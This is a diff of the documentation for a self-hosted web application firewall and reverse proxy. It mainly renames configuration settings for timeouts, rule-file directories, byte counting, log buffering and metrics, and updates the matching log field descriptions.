pattern seen in the request log becomes a rule in one line. `waf` watches the
|
pattern seen in the request log becomes a rule in one line. `waf` watches the
|
||||||
@@ -2024,9 +2107,9 @@ default file.
|
|||||||
- a regex that does not compile;
|
- a regex that does not compile;
|
||||||
- a duplicate id.
|
- a duplicate id.
|
||||||
|
|
||||||
So does a `SWW_WAF_RULES_DIR` that does not exist or cannot be read. While
|
So does a `SWW_WAF_RULE_FILES_DIR` that does not exist or cannot be read.
|
||||||
running, the same faults leave the rules as they were, and the log and one
|
While running, the same faults leave the rules as they were, and the log and
|
||||||
`file_error` alert name the file and line. Once the file is fixed, it is
|
one `file_error` alert name the file and line. Once the file is fixed, it is
|
||||||
read again. An empty directory is not an error: the log says that no rules
|
read again. An empty directory is not an error: the log says that no rules
|
||||||
were loaded.
|
were loaded.
|
||||||
|
|
||||||
@@ -2036,13 +2119,13 @@ default file.
|
|||||||
`/<owner>/<repo>/src/branch/main/.env.example` is a file in a repository that
|
`/<owner>/<repo>/src/branch/main/.env.example` is a file in a repository that
|
||||||
any visitor may open. Anchor the paths of your own `ban` rules at the site
|
any visitor may open. Anchor the paths of your own `ban` rules at the site
|
||||||
root too. A rule has one target, so a `path` rule applies on every site behind
|
root too. A rule has one target, so a `path` rule applies on every site behind
|
||||||
that `waf`. A directory mounted over `SWW_WAF_RULES_DIR` replaces the default
|
that `waf`. A directory mounted over `SWW_WAF_RULE_FILES_DIR` replaces the
|
||||||
file; single files mounted into it add to it.
|
default file; single files mounted into it add to it.
|
||||||
- Rules meant to be edited while `waf` runs belong in a mounted directory, not a
|
- Rules meant to be edited while `waf` runs belong in a mounted directory, not a
|
||||||
mounted file. Many editors save a file by replacing it, and a container keeps
|
mounted file. Many editors save a file by replacing it, and a container keeps
|
||||||
seeing the old one when the file alone is mounted. The lookup database is
|
seeing the old one when the file alone is mounted. The lookup database is
|
||||||
mounted the same way, for the same reason. To run without rule files, mount an
|
mounted the same way, for the same reason. To run without rule files, mount an
|
||||||
empty directory or set `SWW_WAF_RULES_ENABLED=false`.
|
empty directory or set `SWW_WAF_RULE_FILES_ENABLED=false`.
|
||||||
|
|
||||||
## Persistent state
|
## Persistent state
|
||||||
|
|
||||||
@@ -2129,8 +2212,8 @@ lists the files, what each holds, and their sizes.
|
|||||||
in the metrics and sent as one `file_error` alert per cooldown, and retried at
|
in the metrics and sent as one `file_error` alert per cooldown, and retried at
|
||||||
the next write.
|
the next write.
|
||||||
- A hard kill loses the changes since the last write: ban changes from the last
|
- A hard kill loses the changes since the last write: ban changes from the last
|
||||||
`SWW_WAF_STATE_WRITE_DELAY`, everything else from the last
|
`SWW_WAF_BANS_WRITE_DELAY`, everything else from the last
|
||||||
`SWW_WAF_STATE_COUNTER_INTERVAL`. Losing the volume loses ban history, not
|
`SWW_WAF_STATE_WRITE_INTERVAL`. Losing the volume loses ban history, not
|
||||||
service.
|
service.
|
||||||
|
|
||||||
## Request log
|
## Request log
|
||||||
@@ -2156,10 +2239,11 @@ lines to stdout only.
|
|||||||
severity informational, the time, the host's name and the app name from
|
severity informational, the time, the host's name and the app name from
|
||||||
`SWW_WAF_LOG_REMOTE_APP_NAME`.
|
`SWW_WAF_LOG_REMOTE_APP_NAME`.
|
||||||
- Sending happens on its own goroutine from a buffer of
|
- Sending happens on its own goroutine from a buffer of
|
||||||
`SWW_WAF_LOG_REMOTE_BUFFER` lines, so a server that is slow or down never
|
`SWW_WAF_LOG_REMOTE_BUFFER_LINES` lines, so a server that is slow or down
|
||||||
holds up a request and never stops stdout. When the buffer is full, the oldest
|
never holds up a request and never stops stdout. When the buffer is full, the
|
||||||
line is dropped and counted in the metrics. A failed connection is tried again
|
oldest line is dropped and counted in the metrics. A failed connection is
|
||||||
a second later, and twice as long after each further failure, up to a minute.
|
tried again a second later, and twice as long after each further failure, up
|
||||||
|
to a minute.
|
||||||
- As `waf` stops, it spends at most two seconds sending the lines still waiting,
|
- As `waf` stops, it spends at most two seconds sending the lines still waiting,
|
||||||
and drops the rest; stdout has carried them.
|
and drops the rest; stdout has carried them.
|
||||||
|
|
||||||
@@ -2306,21 +2390,23 @@ In `observe` mode a request that `enforce` mode would refuse is answered
|
|||||||
answered `404`.
|
answered `404`.
|
||||||
|
|
||||||
The Core Rule Set inspects the body a question carries only while
|
The Core Rule Set inspects the body a question carries only while
|
||||||
`SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is set. It inspects at most 64 KiB less one
|
`SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set. It inspects at most 64 KiB
|
||||||
byte. So it does not inspect a JSON or XML body of 64 KiB or more, which may
|
less one byte. So it does not inspect a JSON or XML body of 64 KiB or more,
|
||||||
have been cut short.
|
which may have been cut short.
|
||||||
|
|
||||||
### Answering in time
|
### Answering in time
|
||||||
|
|
||||||
`rproxy` stops waiting for `waf` after `SWW_RPROXY_TIMEOUT_MS`, by default 2
|
`rproxy` stops waiting for `waf` after `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS`, by
|
||||||
seconds, and `SWW_RPROXY_DEFAULT_DISPOSITION` then decides. The longest a
|
default 2 seconds, and `SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` then
|
||||||
question waits on an outside source is `SWW_WAF_LOOKUP_TIMEOUT`, by default 800
|
decides. The longest a question waits on an outside source is
|
||||||
milliseconds, well within that time.
|
`SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS`, by default 800 milliseconds, well
|
||||||
|
within that time.
|
||||||
|
|
||||||
GeoJS is the only outside source a question can wait on. A question waits only
|
GeoJS is the only outside source a question can wait on. A question waits only
|
||||||
when step 6 says so, and for at most `SWW_WAF_LOOKUP_TIMEOUT`, by default 800
|
when step 6 says so, and for at most
|
||||||
milliseconds. A client without an answer by then counts as unknown. No question
|
`SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS`, by default 800 milliseconds. A
|
||||||
waits on these, which run in the background:
|
client without an answer by then counts as unknown. No question waits on these,
|
||||||
|
which run in the background:
|
||||||
|
|
||||||
- the DNS blocklists and AbuseIPDB;
|
- the DNS blocklists and AbuseIPDB;
|
||||||
- fetching the blocklists, the tag lists, the CrowdSec decision list and the
|
- fetching the blocklists, the tag lists, the CrowdSec decision list and the
|
||||||
@@ -2337,15 +2423,16 @@ In `enforce` mode, a question does not wait for GeoJS when it is a request:
|
|||||||
Such a request still goes through the steps in their order. Its client's AS
|
Such a request still goes through the steps in their order. Its client's AS
|
||||||
number and country stay unknown until GeoJS has answered. So while
|
number and country stay unknown until GeoJS has answered. So while
|
||||||
`SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES` is set, that list can refuse it first.
|
`SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES` is set, that list can refuse it first.
|
||||||
`SWW_WAF_UNKNOWN_LIMIT_PERCENT` does not apply to it until then, so not waiting
|
`SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT` does not apply to it until then, so not
|
||||||
never lowers its limit.
|
waiting never lowers its limit.
|
||||||
|
|
||||||
The header limits, the static lists and bans come before the lookup, so they
|
The header limits, the static lists and bans come before the lookup, so they
|
||||||
never wait. These can still wait for GeoJS:
|
never wait. These can still wait for GeoJS:
|
||||||
|
|
||||||
- a country list, which needs the answer;
|
- a country list, which needs the answer;
|
||||||
- a rate limit a percentage has lowered, which needs the answer;
|
- a rate limit a percentage has lowered, which needs the answer;
|
||||||
- a DNS blocklist or AbuseIPDB, while `SWW_WAF_REPUTATION_ACTION` is `deny`;
|
- a DNS blocklist or AbuseIPDB, while `SWW_WAF_DNSBL_ABUSEIPDB_ACTION` is
|
||||||
|
`deny`;
|
||||||
- a trap path;
|
- a trap path;
|
||||||
- a rule file;
|
- a rule file;
|
||||||
- the Core Rule Set.
|
- the Core Rule Set.
|
||||||
@@ -2375,7 +2462,8 @@ other check runs on it.
|
|||||||
The Core Rule Set runs each of its rules on each cookie, so thousands of small
|
The Core Rule Set runs each of its rules on each cookie, so thousands of small
|
||||||
cookies would keep it busy for over a second. Within the limits, one long cookie
|
cookies would keep it busy for over a second. Within the limits, one long cookie
|
||||||
or query string can still keep it busy for a fraction of a second. So enough
|
or query string can still keep it busy for a fraction of a second. So enough
|
||||||
such requests at once can overload `waf` past `SWW_RPROXY_TIMEOUT_MS`.
|
such requests at once can overload `waf` past
|
||||||
|
`SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS`.
|
||||||
|
|
||||||
### The report
|
### The report
|
||||||
|
|
||||||
@@ -2414,7 +2502,7 @@ answer.
|
|||||||
For a request it holds, `waf` writes the request's last log line (see "The
|
For a request it holds, `waf` writes the request's last log line (see "The
|
||||||
log"). For a request it allowed, it first:
|
log"). For a request it allowed, it first:
|
||||||
|
|
||||||
- counts the body bytes `SWW_WAF_BYTES_COUNT` names, toward the client's byte
|
- counts the body bytes `SWW_WAF_BYTES_COUNTED` names, toward the client's byte
|
||||||
limits at the percentages it gave that request;
|
limits at the percentages it gave that request;
|
||||||
- bans a client whose total passes a byte limit;
|
- bans a client whose total passes a byte limit;
|
||||||
- adds the request with its status to the client's history, the anomaly counters
|
- adds the request with its status to the client's history, the anomaly counters
|
||||||
@@ -2481,9 +2569,9 @@ request and ban notes name the site by its host.
|
|||||||
`sww rproxy` is the reverse proxy in front of one app. It asks `waf` about each
|
`sww rproxy` is the reverse proxy in front of one app. It asks `waf` about each
|
||||||
request, and passes on what `waf` allows. It keeps nothing between requests and
|
request, and passes on what `waf` allows. It keeps nothing between requests and
|
||||||
writes nothing to disk. When `waf` cannot be connected to, does not answer at
|
writes nothing to disk. When `waf` cannot be connected to, does not answer at
|
||||||
all, or does not answer within `SWW_RPROXY_TIMEOUT_MS`,
|
all, or does not answer within `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS`,
|
||||||
`SWW_RPROXY_DEFAULT_DISPOSITION` decides. Its default, `allow`, keeps the site
|
`SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` decides. Its default, `allow`,
|
||||||
answering.
|
keeps the site answering.
|
||||||
|
|
||||||
`rproxy` reads only its `SWW_RPROXY_` settings, which `docs/settings.md` lists.
|
`rproxy` reads only its `SWW_RPROXY_` settings, which `docs/settings.md` lists.
|
||||||
One of them is required: `SWW_RPROXY_WAF_BACKEND`, `waf`'s URL. It has no
|
One of them is required: `SWW_RPROXY_WAF_BACKEND`, `waf`'s URL. It has no
|
||||||
@@ -2574,36 +2662,37 @@ log line has status `0`.
|
|||||||
|
|
||||||
### Without an answer from `waf`
|
### Without an answer from `waf`
|
||||||
|
|
||||||
`SWW_RPROXY_DEFAULT_DISPOSITION` decides what is done with the request only when
|
`SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` decides what is done with the
|
||||||
`waf`:
|
request only when `waf`:
|
||||||
|
|
||||||
- cannot be connected to;
|
- cannot be connected to;
|
||||||
- does not answer at all;
|
- does not answer at all;
|
||||||
- does not answer within `SWW_RPROXY_TIMEOUT_MS`, which covers connecting,
|
- does not answer within `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS`, which covers
|
||||||
sending the question and reading the whole answer.
|
connecting, sending the question and reading the whole answer.
|
||||||
|
|
||||||
An answer whose body breaks off counts as no answer at all.
|
An answer whose body breaks off counts as no answer at all.
|
||||||
|
|
||||||
`allow`, the default, passes the request to the app. `deny` answers `503`.
|
`allow`, the default, passes the request to the app. `deny` answers `503`.
|
||||||
Either way `rproxy` writes a process warning, its log line has
|
Either way `rproxy` writes a process warning, its log line has
|
||||||
`default_disposition`, and it sends no report.
|
`waf_backend_no_answer`, and it sends no report.
|
||||||
|
|
||||||
A visitor can make `waf` slow. A request that keeps `waf` busy past
|
A visitor can make `waf` slow. A request that keeps `waf` busy past
|
||||||
`SWW_RPROXY_TIMEOUT_MS`, like any request while `waf` is overloaded, gets
|
`SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS`, like any request while `waf` is overloaded,
|
||||||
`SWW_RPROXY_DEFAULT_DISPOSITION`. With `deny`, such a request gets `503` instead
|
gets `SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION`. With `deny`, such a request
|
||||||
of reaching the app.
|
gets `503` instead of reaching the app.
|
||||||
|
|
||||||
A path under `/_sww/` that `allow` would pass on is answered `404` instead, so
|
A path under `/_sww/` that `allow` would pass on is answered `404` instead, so
|
||||||
that the app never sees that prefix.
|
that the app never sees that prefix.
|
||||||
|
|
||||||
`rproxy` cannot pass on an answer whose body is over 1 MiB or whose status is
|
`rproxy` cannot pass on an answer whose body is over 1 MiB or whose status is
|
||||||
below `200`. The visitor gets `502` from `rproxy`, never the default. `rproxy`
|
below `200`. The visitor gets `502` from `rproxy`, whatever
|
||||||
writes a process warning, its log line has no `disposition`, and it sends no
|
`SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` says. `rproxy` writes a process
|
||||||
report.
|
warning, its log line has no `disposition`, and it sends no report.
|
||||||
|
|
||||||
A visitor that goes away while `waf` is being asked is no failure of `waf`.
|
A visitor that goes away while `waf` is being asked is no failure of `waf`.
|
||||||
`rproxy` closes the connection, with no warning, no default and no report. Its
|
`rproxy` closes the connection with no warning and no report, and
|
||||||
log line has status `0` and no `disposition`.
|
`SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` does not apply. Its log line has
|
||||||
|
status `0` and no `disposition`.
|
||||||
|
|
||||||
### Passing a request to the app
|
### Passing a request to the app
|
||||||
|
|
||||||
@@ -2706,8 +2795,8 @@ those at `info` or more severe are written.
|
|||||||
|
|
||||||
On `SIGTERM` or `SIGINT`, `rproxy` stops taking requests and gives those in
|
On `SIGTERM` or `SIGINT`, `rproxy` stops taking requests and gives those in
|
||||||
progress five seconds to finish. It then waits for the reports on their way,
|
progress five seconds to finish. It then waits for the reports on their way,
|
||||||
each for up to `SWW_RPROXY_TIMEOUT_MS`. A report that comes due after that is
|
each for up to `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS`. A report that comes due
|
||||||
dropped, such as that of a WebSocket that closes later.
|
after that is dropped, such as that of a WebSocket that closes later.
|
||||||
|
|
||||||
## Deployment
|
## Deployment
|
||||||
|
|
||||||
@@ -2801,13 +2890,14 @@ process that stops at start is started again every second, not in a tight loop.
|
|||||||
does not stop. Beside an app, the other process keeps running.
|
does not stop. Beside an app, the other process keeps running.
|
||||||
- While `rproxy` is down, traefik answers `502`. While the app is down, `rproxy`
|
- While `rproxy` is down, traefik answers `502`. While the app is down, `rproxy`
|
||||||
answers `502`, which is not a client offence. While `waf` is down,
|
answers `502`, which is not a client offence. While `waf` is down,
|
||||||
`SWW_RPROXY_DEFAULT_DISPOSITION` decides (see "Without an answer from `waf`").
|
`SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` decides (see "Without an answer
|
||||||
|
from `waf`").
|
||||||
- Only faults found at start stop `waf`:
|
- Only faults found at start stop `waf`:
|
||||||
- invalid configuration;
|
- invalid configuration;
|
||||||
- a lookup database that is missing or unreadable;
|
- a lookup database that is missing or unreadable;
|
||||||
- a rule file or state file that does not parse;
|
- a rule file or state file that does not parse;
|
||||||
- an unwritable `SWW_WAF_STATE_DIR` or `SWW_WAF_CACHE_DIR`;
|
- an unwritable `SWW_WAF_STATE_DIR` or `SWW_WAF_CACHE_DIR`;
|
||||||
- a `SWW_WAF_RULES_DIR` that does not exist or cannot be read;
|
- a `SWW_WAF_RULE_FILES_DIR` that does not exist or cannot be read;
|
||||||
- a `SWW_WAF_LISTEN_ADDR` it cannot listen on.
|
- a `SWW_WAF_LISTEN_ADDR` it cannot listen on.
|
||||||
- Only an invalid setting, or a `SWW_RPROXY_LISTEN_ADDR` it cannot listen on,
|
- Only an invalid setting, or a `SWW_RPROXY_LISTEN_ADDR` it cannot listen on,
|
||||||
stops `rproxy`.
|
stops `rproxy`.
|
||||||
|
|||||||
+3
-2
@@ -6,7 +6,7 @@ the `instance` label as `exported_instance` unless the scrape sets
|
|||||||
`honor_labels: true`. `rproxy` has no metrics.
|
`honor_labels: true`. `rproxy` has no metrics.
|
||||||
|
|
||||||
Every `sww_*request_bytes_total` and `sww_*response_bytes_total` series counts
|
Every `sww_*request_bytes_total` and `sww_*response_bytes_total` series counts
|
||||||
body bytes, never headers, whatever `SWW_WAF_BYTES_COUNT` says.
|
body bytes, never headers, whatever `SWW_WAF_BYTES_COUNTED` says.
|
||||||
|
|
||||||
## Traffic
|
## Traffic
|
||||||
|
|
||||||
@@ -33,7 +33,8 @@ body bytes, never headers, whatever `SWW_WAF_BYTES_COUNT` says.
|
|||||||
|
|
||||||
## Countries and AS numbers
|
## Countries and AS numbers
|
||||||
|
|
||||||
For the `SWW_WAF_METRICS_TOP_N` busiest of each, the rest as `other`:
|
For the `SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS` busiest of each, the rest
|
||||||
|
as `other`:
|
||||||
|
|
||||||
- `sww_country_requests_total`, `sww_country_request_bytes_total`,
|
- `sww_country_requests_total`, `sww_country_request_bytes_total`,
|
||||||
`sww_country_response_bytes_total` and `sww_country_list_refusals_total`, by
|
`sww_country_response_bytes_total` and `sww_country_list_refusals_total`, by
|
||||||
|
|||||||
+10
-8
@@ -128,8 +128,8 @@ Every one of these lines has:
|
|||||||
- `rule_files`: `rule_id` and `rule_action`, of the rule that refused it;
|
- `rule_files`: `rule_id` and `rule_action`, of the rule that refused it;
|
||||||
- `header_limits`: `fields`, `fields_limit`, `cookies` and `cookies_limit`;
|
- `header_limits`: `fields`, `fields_limit`, `cookies` and `cookies_limit`;
|
||||||
- `core_rule_set`: `score`, and `threshold`,
|
- `core_rule_set`: `score`, and `threshold`,
|
||||||
`SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD`;
|
`SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD`;
|
||||||
- `refusal_limit`: `window`, `count` and `limit`, of the error burst;
|
- `refusal_limit`: `window`, `count` and `limit`, of the refusal limit;
|
||||||
- `byte_limits`: `window`, `count` and `limit`, the count in bytes.
|
- `byte_limits`: `window`, `count` and `limit`, the count in bytes.
|
||||||
- `after_answer_heuristic`: the heuristic that banned the client after `waf`
|
- `after_answer_heuristic`: the heuristic that banned the client after `waf`
|
||||||
answered the request, in `observe` mode too: `refusal_limit` or `byte_limits`.
|
answered the request, in `observe` mode too: `refusal_limit` or `byte_limits`.
|
||||||
@@ -148,7 +148,7 @@ Every one of these lines has:
|
|||||||
holds:
|
holds:
|
||||||
- `minute`, `hour` and `day`: requests;
|
- `minute`, `hour` and `day`: requests;
|
||||||
- `minute_bytes`, `hour_bytes` and `day_bytes`: the body bytes
|
- `minute_bytes`, `hour_bytes` and `day_bytes`: the body bytes
|
||||||
`SWW_WAF_BYTES_COUNT` names, in that window.
|
`SWW_WAF_BYTES_COUNTED` names, in that window.
|
||||||
|
|
||||||
A count can have a fraction (see "Counting method" in
|
A count can have a fraction (see "Counting method" in
|
||||||
[`SPEC.md`](../SPEC.md)). The bytes counted for an allowed request and its
|
[`SPEC.md`](../SPEC.md)). The bytes counted for an allowed request and its
|
||||||
@@ -158,7 +158,8 @@ Every one of these lines has:
|
|||||||
- `limit_hit`: the limit broken:
|
- `limit_hit`: the limit broken:
|
||||||
- `minute`, `hour` or `day` for a rate limit;
|
- `minute`, `hour` or `day` for a rate limit;
|
||||||
- `minute_bytes`, `hour_bytes` or `day_bytes` for a byte limit;
|
- `minute_bytes`, `hour_bytes` or `day_bytes` for a byte limit;
|
||||||
- `minute_refusals` for the error burst (`SWW_WAF_ERROR_BURST_THRESHOLD`).
|
- `minute_refusals` for the refusal limit
|
||||||
|
(`SWW_WAF_REFUSALS_LIMIT_PER_MINUTE`).
|
||||||
|
|
||||||
When the bytes counted for a request and its response break a limit, the
|
When the bytes counted for a request and its response break a limit, the
|
||||||
request has been passed on whole, so its `action` stays `forward`. Only its
|
request has been passed on whole, so its `action` stays `forward`. Only its
|
||||||
@@ -233,14 +234,15 @@ meanings where they differ:
|
|||||||
was sooner. It includes the wait for `waf`.
|
was sooner. It includes the wait for `waf`.
|
||||||
- `duration_response_ms`: milliseconds from then until the end of the answer.
|
- `duration_response_ms`: milliseconds from then until the end of the answer.
|
||||||
- `disposition`: what was done with the request: `allow`, `deny` or `close`. It
|
- `disposition`: what was done with the request: `allow`, `deny` or `close`. It
|
||||||
is `waf`'s answer, or the value of `SWW_RPROXY_DEFAULT_DISPOSITION`. It is
|
is `waf`'s answer, or the value of
|
||||||
left out when:
|
`SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION`. It is left out when:
|
||||||
- `waf` was not asked, as for the health check;
|
- `waf` was not asked, as for the health check;
|
||||||
- the visitor went away while `waf` was being asked;
|
- the visitor went away while `waf` was being asked;
|
||||||
- `waf`'s answer had no valid `X-Sww-Disposition`;
|
- `waf`'s answer had no valid `X-Sww-Disposition`;
|
||||||
- `rproxy` could not pass on `waf`'s answer, and answered `502`.
|
- `rproxy` could not pass on `waf`'s answer, and answered `502`.
|
||||||
- `default_disposition`: `true` when `SWW_RPROXY_DEFAULT_DISPOSITION` gave
|
- `waf_backend_no_answer`: `true` when
|
||||||
`disposition`, and otherwise left out.
|
`SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` gave `disposition`, and
|
||||||
|
otherwise left out.
|
||||||
|
|
||||||
For example:
|
For example:
|
||||||
|
|
||||||
|
|||||||
+69
-62
@@ -12,6 +12,8 @@ chooses between the two (see "The image's command" below).
|
|||||||
|
|
||||||
- A duration is Go's syntax, with `d` for days: `90s`, `15m`, `24h`, `7d`. Zero
|
- A duration is Go's syntax, with `d` for days: `90s`, `15m`, `24h`, `7d`. Zero
|
||||||
and negative durations are refused.
|
and negative durations are refused.
|
||||||
|
- A time in milliseconds is a whole number above zero, such as `2000`. Its
|
||||||
|
setting's name ends in `_MS`.
|
||||||
- A size is a number of bytes with an optional `K`, `M` or `G`, which are powers
|
- A size is a number of bytes with an optional `K`, `M` or `G`, which are powers
|
||||||
of 1024, so `1K` is 1024 bytes. Examples: `512K`, `100M`, `5G`.
|
of 1024, so `1K` is 1024 bytes. Examples: `512K`, `100M`, `5G`.
|
||||||
- A count is a whole number of requests, such as `1000`.
|
- A count is a whole number of requests, such as `1000`.
|
||||||
@@ -55,9 +57,9 @@ chooses between the two (see "The image's command" below).
|
|||||||
- `SWW_WAF_STATE_DIR` (default `/var/lib/sww`): the directory of the state
|
- `SWW_WAF_STATE_DIR` (default `/var/lib/sww`): the directory of the state
|
||||||
files, an absolute path that can be written. The image's `run` script makes
|
files, an absolute path that can be written. The image's `run` script makes
|
||||||
it.
|
it.
|
||||||
- `SWW_WAF_STATE_WRITE_DELAY` (default `10s`): how long `bans.json` waits to be
|
- `SWW_WAF_BANS_WRITE_DELAY` (default `10s`): how long `bans.json` waits to be
|
||||||
written after a ban is made, lifted or made permanent. A duration.
|
written after a ban is made, lifted or made permanent. A duration.
|
||||||
- `SWW_WAF_STATE_COUNTER_INTERVAL` (default `15m`): how often every state and
|
- `SWW_WAF_STATE_WRITE_INTERVAL` (default `15m`): how often every state and
|
||||||
cache file is written. A duration.
|
cache file is written. A duration.
|
||||||
- `SWW_WAF_CACHE_DIR` (default `/var/cache/sww`): the directory of the cache
|
- `SWW_WAF_CACHE_DIR` (default `/var/cache/sww`): the directory of the cache
|
||||||
files, an absolute path that can be written. The image's `run` script makes
|
files, an absolute path that can be written. The image's `run` script makes
|
||||||
@@ -77,8 +79,8 @@ chooses between the two (see "The image's command" below).
|
|||||||
- `SWW_WAF_LOG_REMOTE_TLS_CA_FILE` (default unset): a file of PEM certificates
|
- `SWW_WAF_LOG_REMOTE_TLS_CA_FILE` (default unset): a file of PEM certificates
|
||||||
that a `syslog+tls` server's certificate must chain to, instead of the host's
|
that a `syslog+tls` server's certificate must chain to, instead of the host's
|
||||||
own. A file that cannot be read, or holds no certificate, is refused.
|
own. A file that cannot be read, or holds no certificate, is refused.
|
||||||
- `SWW_WAF_LOG_REMOTE_BUFFER` (default `10000`): the most lines held while they
|
- `SWW_WAF_LOG_REMOTE_BUFFER_LINES` (default `10000`): the most lines held while
|
||||||
wait to be sent, a whole number above zero.
|
they wait to be sent, a whole number above zero.
|
||||||
- `SWW_WAF_LOG_REMOTE_FACILITY` (default `local0`): the syslog facility: `kern`,
|
- `SWW_WAF_LOG_REMOTE_FACILITY` (default `local0`): the syslog facility: `kern`,
|
||||||
`user`, `mail`, `daemon`, `auth`, `syslog`, `lpr`, `news`, `uucp`, `cron`,
|
`user`, `mail`, `daemon`, `auth`, `syslog`, `lpr`, `news`, `uucp`, `cron`,
|
||||||
`authpriv`, `ftp`, or `local0` to `local7`.
|
`authpriv`, `ftp`, or `local0` to `local7`.
|
||||||
@@ -87,8 +89,9 @@ chooses between the two (see "The image's command" below).
|
|||||||
|
|
||||||
## Metrics
|
## Metrics
|
||||||
|
|
||||||
- `SWW_WAF_METRICS_TOP_N` (default `50`): how many AS numbers and how many
|
- `SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS` (default `50`): how many AS
|
||||||
countries get series of their own. A whole number above zero.
|
numbers and how many countries get series of their own. A whole number above
|
||||||
|
zero.
|
||||||
|
|
||||||
## Static lists
|
## Static lists
|
||||||
|
|
||||||
@@ -134,10 +137,10 @@ cut off; the client is banned.
|
|||||||
- `SWW_WAF_BYTES_LIMIT_PER_MINUTE` (default `off`),
|
- `SWW_WAF_BYTES_LIMIT_PER_MINUTE` (default `off`),
|
||||||
`SWW_WAF_BYTES_LIMIT_PER_HOUR` (default `50G`) and
|
`SWW_WAF_BYTES_LIMIT_PER_HOUR` (default `50G`) and
|
||||||
`SWW_WAF_BYTES_LIMIT_PER_DAY` (default `100G`): the most bytes counted for a
|
`SWW_WAF_BYTES_LIMIT_PER_DAY` (default `100G`): the most bytes counted for a
|
||||||
client in each window, a size or `off`. `SWW_WAF_BYTES_COUNT` says which bytes
|
client in each window, a size or `off`. `SWW_WAF_BYTES_COUNTED` says which
|
||||||
count: response bodies, request bodies or both. The request that passes the
|
bytes count: response bodies, request bodies or both. The request that passes
|
||||||
limit is not cut off, and the client is banned when its response ends.
|
the limit is not cut off, and the client is banned when its response ends.
|
||||||
- `SWW_WAF_BYTES_COUNT` (default `both`): what the byte limits and the byte
|
- `SWW_WAF_BYTES_COUNTED` (default `both`): what the byte limits and the byte
|
||||||
anomaly thresholds count: `response`, the app's response bodies; `request`,
|
anomaly thresholds count: `response`, the app's response bodies; `request`,
|
||||||
the visitors' request bodies; or `both`. What the visitor sent over a
|
the visitors' request bodies; or `both`. What the visitor sent over a
|
||||||
WebSocket counts as request bytes, and what the app sent as response bytes.
|
WebSocket counts as request bytes, and what the app sent as response bytes.
|
||||||
@@ -151,13 +154,13 @@ cut off; the client is banned.
|
|||||||
- `SWW_WAF_TAG_DENY` or `SWW_WAF_TAG_LIMIT_PERCENT` naming a `country=` tag,
|
- `SWW_WAF_TAG_DENY` or `SWW_WAF_TAG_LIMIT_PERCENT` naming a `country=` tag,
|
||||||
or an `asn=` tag while `SWW_WAF_ROUTEWATCH_URL` is unset;
|
or an `asn=` tag while `SWW_WAF_ROUTEWATCH_URL` is unset;
|
||||||
- the two byte percentage lists and `SWW_WAF_ASN_LIMIT_PERCENT_URL`;
|
- the two byte percentage lists and `SWW_WAF_ASN_LIMIT_PERCENT_URL`;
|
||||||
- `SWW_WAF_UNKNOWN_LIMIT_PERCENT` below `100`;
|
- `SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT` below `100`;
|
||||||
- an anomaly threshold per AS number.
|
- an anomaly threshold per AS number.
|
||||||
- `SWW_WAF_LOOKUP_DB_PATH` (default empty): the IPinfo Lite database file, in
|
- `SWW_WAF_LOOKUP_DB_PATH` (default empty): the IPinfo Lite database file, in
|
||||||
its `.mmdb` form, for `SWW_WAF_LOOKUP_SOURCE=file`.
|
its `.mmdb` form, for `SWW_WAF_LOOKUP_SOURCE=file`.
|
||||||
- `SWW_WAF_LOOKUP_TIMEOUT` (default `800ms`): how long a request waits for its
|
- `SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS` (default `800`): how long a
|
||||||
client's first answer from GeoJS, and how long a request to GeoJS may take. A
|
request waits for its client's first answer from GeoJS, and how long a request
|
||||||
duration; never `off`.
|
to GeoJS may take. A time in milliseconds; never `off`.
|
||||||
- `SWW_WAF_ADD_LOOKUP_HEADERS` (default `false`): `true` has `rproxy` pass the
|
- `SWW_WAF_ADD_LOOKUP_HEADERS` (default `false`): `true` has `rproxy` pass the
|
||||||
app the client's AS number in `X-Client-ASN` and its country in
|
app the client's AS number in `X-Client-ASN` and its country in
|
||||||
`X-Client-Country`.
|
`X-Client-Country`.
|
||||||
@@ -206,22 +209,23 @@ tag that no request can get stops the start. A request can get only these:
|
|||||||
- a `dnsbl=` tag of a zone in `SWW_WAF_DNSBL_ZONES`, in lower case, with a key
|
- a `dnsbl=` tag of a zone in `SWW_WAF_DNSBL_ZONES`, in lower case, with a key
|
||||||
masked as the `reputation` field shows it;
|
masked as the `reputation` field shows it;
|
||||||
- `abuseipdb`, while `SWW_WAF_ABUSEIPDB_KEY` is set;
|
- `abuseipdb`, while `SWW_WAF_ABUSEIPDB_KEY` is set;
|
||||||
- `exploitsignature`, in `SWW_WAF_TAG_DENY` only, while `SWW_WAF_RULES_ENABLED`
|
- `exploitsignature`, in `SWW_WAF_TAG_DENY` only, while
|
||||||
is `true`, or while neither `SWW_WAF_CORE_RULE_SET_MODE` nor
|
`SWW_WAF_RULE_FILES_ENABLED` is `true`, or while neither
|
||||||
`SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD` is `off`.
|
